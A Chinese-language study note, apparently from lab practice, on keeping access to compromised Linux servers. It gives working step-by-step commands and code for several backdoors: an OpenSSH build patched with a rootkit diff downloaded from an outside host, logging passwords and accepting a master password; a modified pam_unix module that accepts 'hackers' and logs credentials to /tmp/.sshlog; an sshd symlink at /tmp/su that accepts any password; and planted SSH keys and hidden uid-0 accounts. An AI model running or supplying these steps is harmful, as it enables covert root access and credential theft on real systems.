参考:https://blog.csdn.net/weixin_53009585/article/details/130173061
参考:https://flowus.cn/along/share/0741e138-979a-45c4-a824-203b3037faf7
参考:https://blog.csdn.net/weixin_44268918/article/details/132425901
权限维持-Linux-替换版本-OpenSSH后门
替换本身操作系统的ssh协议支撑软件openssh,重新安装自定义的openssh,达到记录帐号密码,也可以采用万能密码连接的功能。
首先安装好环境(在受害机上进行)。这就不怎么现实,还yum去下安装软件。。。大部分Linux连yum都没有都是那种阉割过的网络设备
yum -y install openssl openssl-devel pam-devel zlib zlib-devel
yum -y install gcc gcc-c++ make
上传两个安装包
wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
tar -xzvf 0x06-openssh-5.9p1.patch.tar.gz
wget https://mirror.aarnet.edu.au/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
tar -xzvf openssh-5.9p1.tar.gz
cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1
cd openssh-5.9p1 && patch < sshbd5.9p1.diff
然后再openssh-5.9p1这个目录下面修改includes.h这个文件
其中
ILOG是别人用ssh登录该主机记录的日志目录
OLOG是该主机用ssh登录其他主机记录的日志目录
SECRETPW 就是万能密码
所以除了万能密码还可以查看通过ssh登录过的明文密码
上面修改完配置文件后需要重新编译还可以修改一下版本信息
vim version.h
编译
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 && make && make install
service sshd restart 或者 systemctl restart sshd.service 重启ssh
这里我不知道为什么重启服务有点问题然后问了下ai发现是私钥的权限设置有问题
大概是报这些错误
然后只要把这些key全部修改为600的权限即可
然后再重启虽然任然报错说超时但是ssh可以登录了,然后使用写入的万能密码也是成功的登录
ssh的版本也修改成功了
而且此密码无论什么用户都可以登录上
不过不能用来su root的时候输入
不过我也遇到了登录了几次后突然显示连接失败的问题,感觉不是很稳定的样子。
另外还可以修改配置文件的时间等等隐藏痕迹
如果使用的不是万能密码登录的都会被记录在ilog或者 olog
权限维持-Linux-更改验证-SSH-PAM后门
参考: https://xz.aliyun.com/t/7902
看了一下文章有一键脚本使用
先走一遍
关闭selinux
setenforce 0
查询rpm版本
rpm -qa | grep pam
可以看到是1.1.8版本的
可能是为了防止被当做后门直接都删除了老版本的压缩包,视频中的1.1.8的版本的包被删除了。。。
不过在网上找了一下还是找到了
blfs-conglomeration-Linux-PAM安装包下载_开源镜像站-阿里云
下载
解压
tar -xjvf Linux-PAM-1.1.8.tar.bz2
下载编译环境
yum install gcc flex flex-devel -y
修改配置文件写入后门密码
vim Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c
在181行这里中间插入
if(strcmp("hackers",p)==0){return PAM_SUCCESS;} //后门密码
if(retval == PAM_SUCCESS){
FILE * fp;
fp = fopen("/tmp/.sshlog", "a");//SSH登录用户密码保存位置
fprintf(fp, "%s : %s\n", name, p);
fclose(fp);}
编译,在Linux-PAM-1.1.8路径下
./configure && make
备份一份pam_unix.so防止出错
cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bakcp
cd modules/pam_unix/.libs
覆盖
cp pam_unix.so /usr/lib64/security/pam_unix.so
然后就可以使用自定义的密码登录了
也是无论什么用户都可以使用此密码登录
同时如果不是使用的后门密码登录的也会记录在前面定义的/tmp/.sshlog
权限维持-Linux-登录方式-软链接&公私钥&新帐号
SSH软链接
在sshd服务配置启用PAM认证的前提下,PAM配置文件中控制标志为sufficient时,只要pam_rootok模块检测uid为0(root)即可成功认证登录。
需要SSH配置中开启了PAM进行身份验证
查看是否使用PAM进行身份验证:
cat /etc/ssh/sshd_config|grep UsePAM
创建软连接并且在启动一个ssh登录的端口
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=6666
有些情况可能端口没有放行需要配置一下防火墙
firewall-cmd --add-port=6666/tcp --permanent //放行6666端口
firewall-cmd --reload //重启防火墙
firewall-cmd --query-port=6666/tcp //查看是否放行成功
云服务可能还需要修改规则组
然后指定端口,任意密码都可以登录成功
不过此方法有个缺点就是重启服务会导致失效,不过可以写计划任务之类的配合
公私钥
这个方式算是非常常见的留后门方式了在本地生成公私钥,然后将公钥放到受害机的/root/.ssh/authorized_keys(这个文件中可以保存多个公钥,所以在实战环境中建议写入而不是直接覆盖,可能会一不小心破坏了受害人的登录公钥)
服务器开启使用公私钥登录方式
vim /etc/ssh/sshd_config
写入
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys
本地生成公私钥(是在攻击机上生成)
ssh-keygen -t rsa #三次回车,其中是可以设置密码的,三次为空就是不设置密码 (可以使用-f自定义生成的文件名)
会得到两个文件
id_rsa : 私钥
id_rsa.pub : 公钥
然后把公钥传到受害机,并且写入/root/.ssh/authorized_keys
没有文件就自己创建,有些环境下会对这些文件的权限有要求,高了或者低了都可能会导致出错
mkdir -p /root/.ssh
chmod 700 /root/.ssh
touch /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
然后将pub文件上传,这里可以使用scp命令
将当前目录下的pub上传到靶机的~/下面
将pub写入authorized_keys
cat dreamer292.pub >> /root/.ssh/authorized_keys
然后这个时候就可以使用私钥登录了
使用-i指定私钥
此方式有些落后了,这种公私钥都是重点检测的地方。
后门账号
第一种创建一个root权限的用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` dreamer292 -o -u 0 -g root -G root -s /bin/bash -d /home/dreamer292
创建成功后查看passwd可以看到此用户,用此用户登录成功也是root权限
第二种直接修改/etc/passwd文件
此方法在提权的时候也可以用到如果passwd是可写的话
echo "dreamer:x:0:0::/:/bin/bash" >> /etc/passwd #增加超级用户账号
passwd dreamer #修改dreamer的密码为123456
然后在实战中可能会遇到获取不到这样完整的交互式shell的情况,可以用这样的方式写密码
在靶机上执行
openssl passwd -1 123456
生成MD5加密的密码
列如 密码 $1$g5g8nlHa$hKMY7M7RMhoEvPw5Vl0Ly0
echo 'dreamer2:$1$g5g8nlHa$hKMY7M7RMhoEvPw5Vl0Ly0:0:0:root:/root:/bin/bash' >>/etc/passwd
这也是我平时打靶收获的一些小技巧
不过话说回来这直接修改passwd文件或者创建用户的操作也是非常敏感的行为,容易被发现。